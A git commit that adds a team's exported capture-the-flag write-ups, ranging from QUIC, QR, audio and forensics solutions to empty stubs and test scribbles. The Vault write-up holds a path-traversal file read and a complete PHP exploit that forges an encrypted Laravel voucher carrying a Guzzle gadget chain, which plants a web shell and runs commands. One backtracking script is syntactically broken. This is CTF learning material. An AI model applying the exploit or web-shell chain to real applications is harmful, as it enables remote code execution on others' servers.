added writeups exported from ctfnote

This commit is contained in:
deus 2026-04-01 21:47:42 +02:00
commit a37637a794
30 changed files with 1487 additions and 0 deletions

View file

@ -0,0 +1,2 @@
# Abnormal Ellipse - crypto

110
Broken-Website-web.md Normal file
View file

@ -0,0 +1,110 @@
# Broken Website - web
## Summary
The future is quic, this challenge was not.
## Problem
`curl -v https://broken-website.tamuctf.cybr.club/`
```
* Host broken-website.tamuctf.cybr.club:443 was resolved.
* IPv6: (none)
* IPv4: 54.91.191.64
* Trying 54.91.191.64:443...
* connect to 54.91.191.64 port 443 from 192.168.0.79 port 53398 failed: Die Wartezeit für die Verbindung ist abgelaufen
* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
* closing connection #0
curl: (28) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
```
Every attempt to connect to this site fails and/or times out.
## Solution
**Steps to solve:**
- Check some ports
- Check ALL the ports
- even try udp, because when there is no tcp, there is only udp left. But why would someone within their right mind use udp to serve a website!?
- try port knocking
- with default sequences
- with custom sequences
- consider doing a rain dance
- absolutely NO response from the server, so it HAS to be a network problem
- with 3 persons:
- blame AWS, because there currently is a offcially announced AWS problem between USA and europe
- find out that when connecting via nordvpn there is an answer on port 80
- rent servers in different parts of the world to check network issue
- blame challenge autor
- blame ctf infrastructure
- complain in support discord
- loop for 3 hours
- ignore this messed up stuff
- go to a concert
- drink some wine
- come back, think about tcp and udp
- vaguely remember some vague reference some month ago when someone mentioned quic
### Try quic/http3
https://curl.se/docs/manpage.html#--http3-only
`curl -v --http3-only https://broken-website.tamuctf.cybr.club/`
```
* Host broken-website.tamuctf.cybr.club:443 was resolved.
* IPv6: (none)
* IPv4: 54.91.191.64
* Trying 54.91.191.64:443...
* SSL Trust Anchors:
* CAfile: /etc/ssl/certs/ca-certificates.crt
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519MLKEM768 / id-ecPublicKey
* Server certificate:
* subject:
* start date: Mar 22 07:09:30 2026 GMT
* expire date: Mar 22 19:09:30 2026 GMT
* issuer: CN=Caddy Local Authority - ECC Intermediate
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* subjectAltName: "broken-website.tamuctf.cybr.club" matches cert's "broken-website.tamuctf.cybr.club"
* OpenSSL verify result: 14
* SSL certificate OpenSSL verify result: unable to get local issuer certificate (20)
* QUIC connect to 54.91.191.64 port 443 failed: SSL peer certificate or SSH remote key was not OK
* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
* closing connection #0
curl: (60) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
More details here: https://curl.se/docs/sslcerts.html
curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the webpage mentioned above.
```
Certificate problem? -> ignore
https://curl.se/docs/manpage.html#--insecure
`curl --http3-only --insecure https://broken-website.tamuctf.cybr.club/`
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Fancy Website</title>
<link rel="stylesheet" type="text/css" href="style.css">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Ubuntu:ital,wght@0,300;0,400;0,500;0,700;1,300;1,400;1,500;1,700&display=swap" rel="stylesheet">
</head>
<body>
<h1>Welcome to my website!</h1>
<h2>Here's the flag:</h2>
<h2>gigem{7h3_fu7u23_15_qu1c_64d1f5}</h2>
</body>
</html>
```
## Flag
`gigem{7h3_fu7u23_15_qu1c_64d1f5}`

37
Colonel-forensics.md Normal file
View file

@ -0,0 +1,37 @@
# Colonel - forensics
fridgebuyer
### vol
vol -f memory.dump linux.bash.Bash
vol -f memory.dump linux.kmsg.Kmsg
"insmod check_service.ko key_path=validation*"
### kmsg
Key 1 ```Error: Invalid key 51782b4b765251314e32525236364978534d35566a6b72474b67303946483266, indices 9 21 31 incorrect```
Key 2 ```Error: Invalid key 58782b4b765251314e51525235364978534d35566a6a72524b673039466c3265, indices 0 12 23 29 incorrect```
A kernel module check_service.ko was loaded twice with two different key files (validation, validation2). kmsg recorded both attempts.
### Decode hex to ASCII
swap incorrect indices between keys (Key 1 as a base
and replace its bad positions (9, 21, 31) with the correct chars
from Key 2)
-> Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e
### Decrypt
IV - 1234567890123456, key - ASCII bytes
python3 -c "
from Crypto.Cipher import AES
key = b'Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e'
iv = b'1234567890123456'
ct = open('flag.enc','rb').read()
print(AES.new(key,AES.MODE_CBC,iv).decrypt(ct))
"
**gigem{bl3ss3d_4r3_th3_c010n31_m33k}**

View file

@ -0,0 +1,3 @@
# Favorite Sponsor - getting started
Copy the link of your favorite TAMUctf sponsor and place it inside of the brackets of gigem{}!

2
Gamer-Returns-misc.md Normal file
View file

@ -0,0 +1,2 @@
# Gamer Returns - misc

2
Goodbye-libc-pwn.md Normal file
View file

@ -0,0 +1,2 @@
# Goodbye libc - pwn

View file

@ -0,0 +1,150 @@
# Hidden Log Factoring - crypto
Den Schnippsel in https://sagecell.sagemath.org/ kopieren:
```
# Deine Werte
p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
y = 44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
g = 11
# Erstelle den Restklassenring/Körper
R = Integers(p)
target = R(y)
base = R(g)
# Nutze die globale discrete_log Funktion mit der Schranke 2^100
# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
s = discrete_log(target, base, bounds=(1, 1 << 100))
print(f"Gefundenes s: {s}")
```
`Gefundenes s: 485391067385099231898174017598`
LLM genereated:
```
def decrypt(c, p, q):
n = p * q
# Berechnung der Quadratwurzeln modulo p und q
# Dies ist für p, q ≡ 3 (mod 4) besonders einfach
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
# Erweiterter Euklidischer Algorithmus für yp*p + yq*q = 1
def extended_gcd(a, b):
if a == 0: return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
return gcd, y1 - (b // a) * x1, x1
_, yp, yq = extended_gcd(p, q)
# Die vier möglichen Wurzeln (Kombination via Chinesischem Restsatz)
r1 = (yp * p * mq + yq * q * mp) % n
r2 = n - r1
r3 = (yp * p * mq - yq * q * mp) % n
r4 = n - r3
return [r1, r2, r3, r4]
```
Ehrenlos zusammengevibed:
```
from Crypto.Util.number import long_to_bytes, bytes_to_long
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
# --- Gegebene Daten einfügen ---
n=71016310005824589926747341243598522145452505235842335510488353587223142066921470760443852767377534776713566052988373656012584808377496091765373981120165220471527586994259252074709653090148780742972203779666231432769553199154214563039426087870098774883375566546770723222752131892953195949848583409407713489831
e = 65537
p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
g = 11
A=44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
D=9478993126102369804166465392238441359765254122557022102787395039760473484373917895152043164556897759129379257347258713397227019255397523784552330568551257950882564054224108445256766524125007082113207841784651721510041313068567959041923601780557243220011462176445589034556139643023098611601440872439110251624
c=1479919887254219636530919475050983663848182436330538045427636138917562865693442211774911655964940989306960131568709021476461747472930022641984797332621318327273825157712858569934666380955735263664889604798016194035704361047493027641699022507373990773216443687431071760958198437503246519811635672063448591496
# --- 1. DLP lösen mit Sage ---
print("[*] Löse DLP für s...")
# Erstelle den Restklassenring/Körper
R = Integers(p)
target = R(A)
base = R(g)
# Nutze die globale discrete_log Funktion mit der Schranke 2^100
# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
s = discrete_log(target, base, bounds=(1, 1 << 100))
print(f"[+] s gefunden: {s}")
# --- 2. d-Maske berechnen ---
def get_mask(s_val, bit_len):
hkdf = HKDF(
algorithm=hashes.SHA256(),
length=bit_len // 8,
salt=None,
info=b"rsa-d-mask",
backend=default_backend()
)
return bytes_to_long(hkdf.derive(long_to_bytes(s_val)))
# Wir nehmen an, dass d etwa so lang wie n ist
mask = get_mask(s, n.bit_length())
d = int(D ^ mask)
print(f"[+] d={d} berechnet.")
# --- 3. n faktorisieren (via e und d) ---
# In Sage gibt es eingebaute Methoden, oder wir nutzen den Standard-Algorithmus
def factor_n_ed(n, e, d):
k = d * e - 1
g = 2
while True:
t = k
while t % 2 == 0:
t //= 2
x = pow(g, t, n)
if x > 1:
y = gcd(x - 1, n)
if y > 1 and y < n:
return int(y), int(n // y)
g = next_prime(g)
q1, q2 = factor_n_ed(n, e, d)
print(f"[+] Faktoren gefunden: q1={q1}, q2={q2}")
# Nutze die Faktoren q1 und q2 für die schnelle Berechnung
def general_rabin_decrypt(c, p, q):
# Berechnet Wurzeln für JEDE Primzahl (auch wenn p != 3 mod 4)
# Fp und Fq sind die endlichen Körper
Fp = GF(p)
Fq = GF(q)
# sqrt() in GF(p) findet alle Wurzeln
roots_p = Fp(c).sqrt(all=True)
roots_q = Fq(c).sqrt(all=True)
results = []
for rp in roots_p:
for rq in roots_q:
# Kombiniere alle Paarungen via Chinesischem Restsatz
res = crt([int(rp), int(rq)], [int(p), int(q)])
results.append(res)
return results
potential_roots = general_rabin_decrypt(c, q1, q2)
for r in potential_roots:
# Umwandlung von Integer zu Bytes
try:
flag_candidate = long_to_bytes(int(r))
print(f"Gefundene Nachricht: {flag_candidate}")
if b"flag" in flag_candidate.lower() or b"{" in flag_candidate:
print(f"\n[!!!] DAS IST DIE FLAGGE: {flag_candidate.decode(errors='ignore')}")
except:
continue
```

2
Nucleus-rev.md Normal file
View file

@ -0,0 +1,2 @@
# Nucleus - rev

View file

@ -0,0 +1,55 @@
# POP Restaurant - web - easy
## Description
Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application.
----
## General
- Flag is under `/`, e.g: `/sXrq5wWZZYpMh_flag.txt`
- Therefore name is not predictable - probably RCE needed?
-
explanation of the attack vector
https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
## Compose
Place one directory level above the provided challenge folder.
Launch with `docker compose up --watch`.
```yaml
services:
web-pop_restaurant:
build:
context: ./challenge # if one level above provided challenge files.
dockerfile: Dockerfile
container_name: web-pop_restaurant
ports:
- "1337:80"
stdin_open: true
tty: true
develop:
watch:
- action: sync
path: ./challenge/challenge
target: /var/www/html
ignore:
- .git/
- action: sync
path: ./challenge/flag.txt
target: /flag.txt
```
## `order.php`
```php=16
$order = unserialize(base64_decode($_POST['data']));
```
User controlled input, unsaitized, send to unserialize().
Thats bad :(

8
Phantom-forensics.md Normal file
View file

@ -0,0 +1,8 @@
# Phantom - forensics
- git fsck --unreachable --no-reflogs
- for blob in 86f49cf 8b137891 4ced13f 11f0f8c fe3b0b88; do echo "=== $blob ==="; git cat-file -p $blob; echo; done
=== 86f49cf ===
**gigem{917hu8_f02k5_423_v32y_1n7323571n9_1d60b3}**

67
Quick-Response-misc.md Normal file
View file

@ -0,0 +1,67 @@
# Quick Response - misc
![](https://notes.c3h2.de/pad/uploads/9a90b18f-69a4-48ea-b747-21651fbe0d41.png)
fridgebuyer
- The QR is 29x29 == version 3
- Each module = 32x32 px
- What should be solid is alternated. The 7x7 finder patterns should be solid but are not visible in the 3 corners (top left, bottom left, top right)
- What should be alternated are solid lines (timing strips)
- So the original QR was likely XORed with a Checkerboard pattern
- https://www.pclviewer.com/rs2/qrmasking.htm Mask 000: (i + j) mod 2 = 0 is this
- But this was applied to entire qr code, not only to the data region
- So need to XOR every module with (row + col) % 2 again.
### sol
```
from PIL import Image
import numpy as np
from pyzbar.pyzbar import decode
img = Image.open("quick-response.png").convert("RGB")
arr = np.array(img)
# extract module grid
module_size = 32
n = 29
dark = np.array([20, 22, 27])
grid = np.zeros((n, n), dtype=int)
for r in range(n):
for c in range(n):
cy = r * module_size + module_size // 2
cx = c * module_size + module_size // 2
pixel = arr[cy, cx]
if np.sum((pixel.astype(int) - dark.astype(int)) ** 2) < 100:
grid[r, c] = 1
# XOR (i + j) mod 2 = 0
for r in range(n):
for c in range(n):
grid[r, c] ^= (r + c) % 2
# write fixed QR code
scale = 10
border = 4
total = (n + 2 * border) * scale
out = Image.new("L", (total, total), 255)
px = out.load()
for r in range(n):
for c in range(n):
if grid[r, c] == 1:
for dy in range(scale):
for dx in range(scale):
px[(c + border) * scale + dx, (r + border) * scale + dy] = 0
result = decode(out)
for r in result:
print(r.data.decode())
```
![](https://notes.c3h2.de/pad/uploads/1251408d-9160-4c39-9e94-e2897518cad9.png)
**gigem{d1d_y0u_n0t1c3_th3_t1m1n9_b175}**

38
Random-Password-crypto.md Normal file
View file

@ -0,0 +1,38 @@
# Random Password - crypto
```
def backtrack(idx, sample, fives, sevens, accu, result):
if idx == 5718 and len(result(256)):
result.append(accu)
return
if len(fives) > 1 and sum(fives) < 5:
fives.append(sample[idx])
backtrack(idx + 1, sample,fives, sevens, accu, result)
fives.pop()
elif len(sevens) > 1 and sum(sevens) < 17:
sevens.append(sample[idx])
backtrack(idx + 1, sample,fives, sevens, accu, result)
sevens.pop()
elif len(fives) > 1 and sum(fives) > 5:r
accu.append(fives)
backtrack(idx, sample, [], sevens, accu, result)
accu.pop()
elif len(sevens) > 1 and sum(sevens) > 17:
accu.append(sevens)
backtrack(idx, sample, fives, [], accu, result)
accu.pop()
fives.append(sample[idx])
backtrack(idx + 1, sample,fives, sevens, accu, result)
fives.pop()
sevens.append(sample[idx])
backtrack(idx + 1, sample,fives, sevens, accu, result)
sevens.pop()
result = []
backtrack(0, sample, [], [], [], result)
```

View file

@ -0,0 +1,67 @@
# Short Term Fuel Trim - misc
The data is a list of _129*1380_ complex numbers
```
# STFT shape: complex64 (129, 1380)
(0.000000000000000000e+00+0.000000000000000000e+00j)
(0.000000000000000000e+00+0.000000000000000000e+00j)
(-1.484999775886535645e+00+0.000000000000000000e+00j)
(2.873720169067382812e+00+0.000000000000000000e+00j)
(9.447572708129882812e+00+0.000000000000000000e+00j)
(8.104647827148437500e+01+0.000000000000000000e+00j)
(1.316259765625000000e+01+0.000000000000000000e+00j)
(-3.101673889160156250e+02+0.000000000000000000e+00j)
(-4.186026916503906250e+02+0.000000000000000000e+00j)
(-5.818300781250000000e+02+0.000000000000000000e+00j)
(2.119775390625000000e+02+0.000000000000000000e+00j)
(-1.738154602050781250e+02+0.000000000000000000e+00j)
(-2.650747985839843750e+02+0.000000000000000000e+00j)
(-3.873171691894531250e+02+0.000000000000000000e+00j)
(-4.193124389648437500e+02+0.000000000000000000e+00j)
(-1.984837646484375000e+02+0.000000000000000000e+00j)
(-1.092494659423828125e+02+0.000000000000000000e+00j)
```
STFT stands for [short time Fourier transform](https://en.wikipedia.org/wiki/Short-time_Fourier_transform).
The data is actually the STFT of an audio signal.
Using [scipy.signal.istft](https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.istft.html),
we performed the inverse transform and reconstructed the audio signal
```python
with open("numbers.txt", "r") as f:
lines = f.readlines()
shape = (129, 1380)
nums = np.array([complex(l.strip()) for l in lines[1:]])
arr = nums.reshape(*shape)
sampling_rate_hz = 44100
t, z = istft(arr, fs=sampling_rate_hz)
from scipy.io import wavfile
def time_series_to_wav(arr, sample_rate=44100):
#sample_rate = 44100 # Hz — set correctly
#samples = samples.astype(np.float32)
arr_mean = arr.mean()
arr_ptp = arr.max() - arr.min()
samples = (arr - arr_mean)*2/arr_ptp
# Normalize if float in [-1,1], convert to 16-bit:
scaled = (samples * 32767).astype(np.int16)
wavfile.write("out.wav", sample_rate, scaled)
time_series_to_wav(z, sample_rate=44100)
```
The flag is spoken text, and can be transcribed from the wav file.
The flag is `gigem{fft_is_50_0p}`

2
Sun-Temple-rev.md Normal file
View file

@ -0,0 +1,2 @@
# Sun Temple - rev

2
Task-Manager-pwn.md Normal file
View file

@ -0,0 +1,2 @@
# Task Manager - pwn

16
Test-task.md Normal file
View file

@ -0,0 +1,16 @@
# Test task
## Description
Test task
----
fuuuuuuuu
![](https://notes.c3h2.de/pad/uploads/9b3b53b2-4975-44b8-8a54-c6c678a1d699.png)
asdw
passt

33
Time-Capsule-forensics.md Normal file
View file

@ -0,0 +1,33 @@
# Time Capsule - forensics
fridgebuyer
- mount the image
- in nostalgia/ ASCII chars can be derived from each file's mtime
- char = minutes * 60 + seconds
memory_1.jpg 2007-01-01 02:01:43
-- 1*60+43 = 103 = 'g'
```
python3 << 'EOF'
import os, datetime
flag = ""
for i in range(1, 18):
f = next(f for f in os.listdir(".") if f.startswith(f"memory_{i}."))
dt = datetime.datetime.fromtimestamp(os.stat(f).st_mtime)
ascii_val = dt.minute * 60 + dt.second
char = chr(ascii_val)
flag += char
print(f"{f:<20} {dt.strftime('%H:%M:%S')} min={dt.minute} sec={dt.second} -> {ascii_val} -> '{char}'")
print(f"\nFlag: {flag}")
EOF
```
**gigem{byg0n3_3r4}**

0
Untitled.md Normal file
View file

View file

@ -0,0 +1,3 @@
Test
test2

300
Vault-web.md Normal file
View file

@ -0,0 +1,300 @@
# Vault - web
## entrypoint.sh
```shell
...
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
...
```
Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt`
## Compose
The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging.
Instead of docker build, start, stop, change code, rebuild, ... just add a compose file.
This example assumes to be one directory level above the provided challenge files:
```yaml
services:
vault:
build:
context: ./challenge
dockerfile: Dockerfile
ports:
- "9090:80"
container_name: vault
restart: unless-stopped
```
## LFI
In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload.
```php=69
$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path;
$user->save();
```
```php=69
$name = $_FILES['avatar']['full_path'];
```
is completely user supplied.
https://www.php.net/manual/en/reserved.variables.files.php
The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized.
```php=70
$path = "/var/www/storage/app/public/avatars/$name";
```
No sanitizing here.
```php=71
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
```
The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder.
```php=73
$user->avatar = $path;
$user->save();
```
The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database.
So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal.
When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal.
Sadly there is no GUI for the avatar upload.
Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance:
```php-template=26
<div class="content-box" style="margin-bottom: 1rem;">
<h2>Update Avatar</h2>
<form method="post" action="/account/avatar" enctype="multipart/form-data">
@csrf
<label for="avatar">Avatar Image</label>
<input id="avatar" name="avatar" type="file" accept="image/*">
<input class="submit" type="submit" value="Upload Avatar">
</form>
@if (session('avatar_error'))
<div class="errors">
<li>{{ session('avatar_error') }}</li>
</div>
@endif
</div>
```
0. Rebuild the challenge
1. upload a legitimate image file, sniff the http request
2. manipulate and resend http request to change the full_path name
```http
Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd"
```
3. read `/etc/passwd` from http://localhost:9090/avatar
Further things that might be interesting:
- php Application
- Database
- php sessions
- log files?
- ...?
- system
- environment variables?
`/var/www/.env` contains
```
APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=
```
-> this should allow for creation and signing of things?
- Voucher
- Cookies
- Sessions
- ???
Probably even leading to insecure deserialisation??
Even if the cookie signing itself should not be vulnerable,
there is some custom decryption logic for the vouchers that might be vulnerable.
`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php`
```php=37
$voucher = encrypt([
'amount' => $amount,
'created_by' => $user->uuid,
'created_at' => Carbon::now()
]);
```
```php=53
$voucher = decrypt($data['voucher']);
```
https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56
> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).
The `VouchersController` does not use `$serialize=true`, will this work anyway?
> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation?
Also had severa trouble with the tool, probably user error...
Guzzle is also available, maybe matching.
```
'cipher' => 'AES-256-CBC',
```
After some discussion with copilot,
it explained that there is need for a __descruct() call in combination with some other neccessary.
There is a guzzle CookieJar Class, that fits!
Copilot got tired (whatever problem, idk), so gemini created this script,
that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`...
But ctf was already over :(
```php
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
use GuzzleHttp\Cookie\CookieJar;
use GuzzleHttp\Cookie\SetCookie;
use GuzzleHttp\Cookie\FileCookieJar;
$baseUri = 'http://localhost:9090';
// The key used in VouchersController::redeem matches the APP_KEY in .env
$key = base64_decode('Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=');
// The payload to execute
// Avoiding quotes so JSON encoding doesn't break PHP syntax with backslashes
$payloadStr = '<?php system($_GET[1]); ?>';
$cookie = new SetCookie([
'Name' => 'payload',
'Value' => $payloadStr,
'Domain' => 'example.com',
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false,
]);
// Gadget chain using FileCookieJar
$filename = '/var/www/public/shell.php';
$jarPayload = new FileCookieJar($filename, true);
$jarPayload->setCookie($cookie);
$serialized = serialize($jarPayload);
$iv = random_bytes(16);
$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv);
$payloadArr = [
'iv' => base64_encode($iv),
'value' => $encrypted,
'tag' => base64_encode('')
];
$voucher = base64_encode(json_encode($payloadArr));
echo "[+] Generated voucher payload.\n";
$jar = new CookieJar();
$client = new Client([
'base_uri' => $baseUri,
'cookies' => $jar,
'http_errors' => false
]);
echo "[+] Fetching CSRF token...\n";
$res = $client->get('/register');
$html = (string) $res->getBody();
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
$csrfToken = $matches[1] ?? '';
$username = 'hacker' . rand(10000, 99999);
$password = 'password123';
echo "[+] Registering user $username...\n";
$res = $client->post('/register', [
'form_params' => [
'_token' => $csrfToken,
'username' => $username,
'password' => $password,
'password2' => $password
]
]);
echo "[+] Logging in...\n";
$res = $client->post('/login', [
'form_params' => [
'_token' => $csrfToken,
'username' => $username,
'password' => $password
]
]);
echo "[+] Fetching new CSRF token for voucher redemption...\n";
$res = $client->get('/vouchers');
$html = (string) $res->getBody();
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
$csrfToken = $matches[1] ?? '';
echo "[+] Redeeming malicious voucher...\n";
$res = $client->post('/vouchers/redeem', [
'form_params' => [
'_token' => $csrfToken,
'voucher' => $voucher
]
]);
echo "[+] Status from redeem: " . $res->getStatusCode() . "\n";
echo "[+] Triggering payload at /shell.php...\n";
$res = $client->get('/shell.php', [
'query' => [
'1' => 'ls / > /tmp/ls.txt'
]
]);
echo "[+] Trigger response: " . $res->getStatusCode() . "\n";
echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n";
```

Some files were not shown because too many files have changed in this diff Show more